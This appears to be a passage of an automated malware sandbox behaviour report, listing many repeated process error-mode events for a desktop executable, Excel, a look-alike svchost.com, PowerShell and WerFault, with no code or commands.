Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
